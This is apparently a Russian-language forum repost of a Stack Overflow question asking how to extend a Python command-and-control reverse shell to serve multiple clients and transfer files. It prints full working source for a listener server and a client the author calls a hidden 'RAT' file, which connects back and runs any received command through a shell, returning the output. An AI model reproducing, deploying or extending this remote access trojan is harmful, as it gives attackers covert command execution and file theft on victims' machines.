Как мне обновить этот обратный код оболочки C2 для работы с несколькими клиентами и отправки файлов (загрузка и загрузкаPython

Программы на Python
Ответить Пред. темаСлед. тема
Anonymous
 Как мне обновить этот обратный код оболочки C2 для работы с несколькими клиентами и отправки файлов (загрузка и загрузка

Сообщение Anonymous »

СЕРВЕР – Контроллер

Код: Выделить всё

'''

Server python module.

'''

import sys
import socket

SERVER_IP = ""
PORT = 4444

s = socket.socket()
s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
s.bind((SERVER_IP, PORT))

s.listen(1)

while True:
print(f'[+] listening as {SERVER_IP}:{PORT}')

client = s.accept()
print(f'[+] client connected {client[1]}')

client[0].send('connected' .encode())
while True:
cmd = input('>>> ')
client[0].send(cmd.encode())

if cmd.lower() in ['quit' 'exit', 'q', 'x']:
break

result = client[0].recv(1024).decode()
print(result)

client[0].close()

cmd = input("Wait for new client y/n") or 'y'
if cmd.lower() in ['n', 'no']:
break

s.close()
Крыса — скрытый файл

Код: Выделить всё

'''
Rat Python Module

'''
import sys
import socket
import subprocess

SERVER_IP = ""
PORT = 4444

s = socket.socket()
s.connect((SERVER_IP, PORT))
msg = s.recv(1024).decode()
print('[*] server:', msg)
s
while True:
cmd = s.recv(1024).decode()
print(f'[+] recevied command: {cmd}')
if cmd.lower() in ['q', 'quit', 'exit', 'x']:
break

try:
result = subprocess.check_output(cmd, stderr=subprocess.STDOUT, shell=True)
except Exception as e:
result = str(e).encode()

if len(result) == 0:
result = '[+] Executed Successfully'.encode()
s.send(result)

s.close()
Я увидел, что модуль потоковой обработки может быть полезен. Я знаю, что этот C2 работает, поскольку я его тестировал, но мне нужно, чтобы он работал на нескольких клиентах и ​​имел возможность загружать и скачивать файлы.
Если бы кто-нибудь мог мне помочь, это было бы здорово - Если бы кто-нибудь мог предоставить ссылки или модули, которые можно использовать для решения этой проблемы.

Подробнее здесь: https://stackoverflow.com/questions/790 ... nts-and-se
Реклама
Ответить Пред. темаСлед. тема

Быстрый ответ

Изменение регистра текста: 
Смайлики
:) :( :oops: :roll: :wink: :muza: :clever: :sorry: :angel: :read: *x)
Ещё смайлики…
   
К этому ответу прикреплено по крайней мере одно вложение.

Если вы не хотите добавлять вложения, оставьте поля пустыми.

Максимально разрешённый размер вложения: 15 МБ.

  • Похожие темы
    Ответы
    Просмотры
    Последнее сообщение

Вернуться в «Python»